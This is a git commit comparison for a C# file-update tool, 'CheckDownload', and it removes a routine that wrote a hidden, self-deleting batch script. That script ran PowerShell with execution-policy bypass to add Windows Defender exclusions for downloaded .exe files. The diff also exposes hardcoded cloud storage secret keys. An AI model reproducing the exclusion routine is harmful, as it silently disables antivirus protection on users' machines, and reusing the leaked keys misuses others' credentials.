Compare commits
1 Commits
WindowsDef
...
CountSIze
Author | SHA1 | Date | |
---|---|---|---|
a0245a8457 |
83
Form1.cs
83
Form1.cs
@@ -42,11 +42,11 @@ namespace CheckDownload
|
||||
// 阿里云OSS访问密钥Secret
|
||||
private const string OssAccessKeySecret = "7ClQns3wz6psmIp9T2OfuEn3tpzrCK";
|
||||
// 123盘鉴权密钥
|
||||
private const string OneDriveAuthKey = "6SwdpWdSJuJRSh";
|
||||
private const string OneDriveAuthKey = "ZhwG3LxOtGJwM3ym";
|
||||
// 123盘UID
|
||||
private const string OneDriveUid = "1826795402";
|
||||
private const string OneDriveUid = "1850250683";
|
||||
// 123盘路径(不包含域名)- 修改此处即可同时生效于主备域名
|
||||
private const string OneDrivePath = "/1826795402/KeyAuth";
|
||||
private const string OneDrivePath = "/1850250683/SuWin";
|
||||
// 123盘主域名
|
||||
private const string OneDriveMainDomain = "vip.123pan.cn";
|
||||
// 123盘备用域名
|
||||
@@ -74,7 +74,6 @@ namespace CheckDownload
|
||||
private string _tempDirectory;
|
||||
// 基准目录路径(用于文件更新的目标目录)
|
||||
private string _baseDirectory;
|
||||
private readonly ConcurrentBag<string> _exeFilesToExclude = new ConcurrentBag<string>();
|
||||
|
||||
/// <summary>
|
||||
/// 初始化窗体
|
||||
@@ -209,7 +208,6 @@ namespace CheckDownload
|
||||
{
|
||||
try
|
||||
{
|
||||
while (_exeFilesToExclude.TryTake(out _)) { }
|
||||
CleanupNewFiles();
|
||||
UpdateStatus("下载在线MD5文件并读取...");
|
||||
UpdateCount("");
|
||||
@@ -302,11 +300,6 @@ namespace CheckDownload
|
||||
// 校验和保存成功后清理临时目录
|
||||
CleanupTempDirectory();
|
||||
|
||||
if (_exeFilesToExclude.Any())
|
||||
{
|
||||
await RunDefenderExclusionScriptAsync(_exeFilesToExclude.Distinct().ToList());
|
||||
}
|
||||
|
||||
// 显示完成状态并退出
|
||||
UpdateStatus("更新完成");
|
||||
await Task.Delay(3000);
|
||||
@@ -913,11 +906,6 @@ namespace CheckDownload
|
||||
Directory.CreateDirectory(localDir);
|
||||
}
|
||||
|
||||
if (Path.GetExtension(localPath).Equals(".exe", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_exeFilesToExclude.Add(localPath);
|
||||
}
|
||||
|
||||
if (!await TryMoveFileAsync(tempFilePath, localPath))
|
||||
{
|
||||
string backupPath = localPath + ".new";
|
||||
@@ -1597,7 +1585,6 @@ namespace CheckDownload
|
||||
foreach (var exeFile in exeFiles)
|
||||
{
|
||||
SetRunAsAdminCompatibility(exeFile);
|
||||
_exeFilesToExclude.Add(exeFile);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -1728,69 +1715,5 @@ namespace CheckDownload
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 创建并运行一个批处理脚本,为指定的EXE文件添加Windows Defender排除项。
|
||||
/// 此方法会请求管理员权限,并等待脚本执行完成后再继续。
|
||||
/// </summary>
|
||||
/// <param name="exePaths">要添加到排除列表的.exe文件的完整路径列表。</param>
|
||||
private async Task RunDefenderExclusionScriptAsync(List<string> exePaths)
|
||||
{
|
||||
if (!exePaths.Any()) return;
|
||||
|
||||
string batchFilePath = Path.Combine(_baseDirectory, "add_defender_exclusions.bat");
|
||||
try
|
||||
{
|
||||
var batchContent = new StringBuilder();
|
||||
batchContent.AppendLine("@echo off");
|
||||
batchContent.AppendLine("chcp 65001 > nul");
|
||||
batchContent.AppendLine("");
|
||||
|
||||
// PowerShell命令添加排除项
|
||||
string powerShellCommands = string.Join(";", exePaths.Select(p => $"Add-MpPreference -ExclusionPath '{p.Replace("'", "''")}'"));
|
||||
batchContent.AppendLine($"powershell -ExecutionPolicy Bypass -Command \"{powerShellCommands}\"");
|
||||
batchContent.AppendLine("");
|
||||
|
||||
// 脚本自删除
|
||||
batchContent.AppendLine("(goto) 2>nul & del \"%~f0\" /f /q");
|
||||
batchContent.AppendLine("exit /b");
|
||||
|
||||
File.WriteAllText(batchFilePath, batchContent.ToString(), new UTF8Encoding(false));
|
||||
|
||||
UpdateStatus("请求权限添加应用到信任列表...");
|
||||
|
||||
var startInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = batchFilePath,
|
||||
UseShellExecute = true,
|
||||
Verb = "runas",
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
|
||||
Process.Start(startInfo);
|
||||
|
||||
// 通过轮询文件是否存在来等待脚本执行完毕
|
||||
while (File.Exists(batchFilePath))
|
||||
{
|
||||
await Task.Delay(500); // 每500毫秒检查一次
|
||||
}
|
||||
}
|
||||
catch (Win32Exception ex) when (ex.NativeErrorCode == 1223) // ERROR_CANCELLED, 用户在UAC弹窗点击了"否"
|
||||
{
|
||||
UpdateStatus("用户取消了管理员授权。");
|
||||
if (File.Exists(batchFilePath))
|
||||
{
|
||||
try { File.Delete(batchFilePath); } catch { }
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
UpdateStatus($"创建或执行信任脚本时出错: {ex.Message}");
|
||||
if (File.Exists(batchFilePath))
|
||||
{
|
||||
try { File.Delete(batchFilePath); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@@ -9,6 +9,8 @@
|
||||
<package id="Microsoft.Bcl.AsyncInterfaces" version="9.0.6" targetFramework="net472" />
|
||||
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net472" />
|
||||
<package id="SevenZipExtractor" version="1.0.19" targetFramework="net472" />
|
||||
<package id="SevenZipSharp" version="0.64" targetFramework="net472" />
|
||||
<package id="SevenZipSharp.Interop" version="19.1.0" targetFramework="net472" />
|
||||
<package id="System.Buffers" version="4.5.1" targetFramework="net472" />
|
||||
<package id="System.IO.Pipelines" version="9.0.6" targetFramework="net472" />
|
||||
<package id="System.Memory" version="4.5.5" targetFramework="net472" />
|
||||
|
Reference in New Issue
Block a user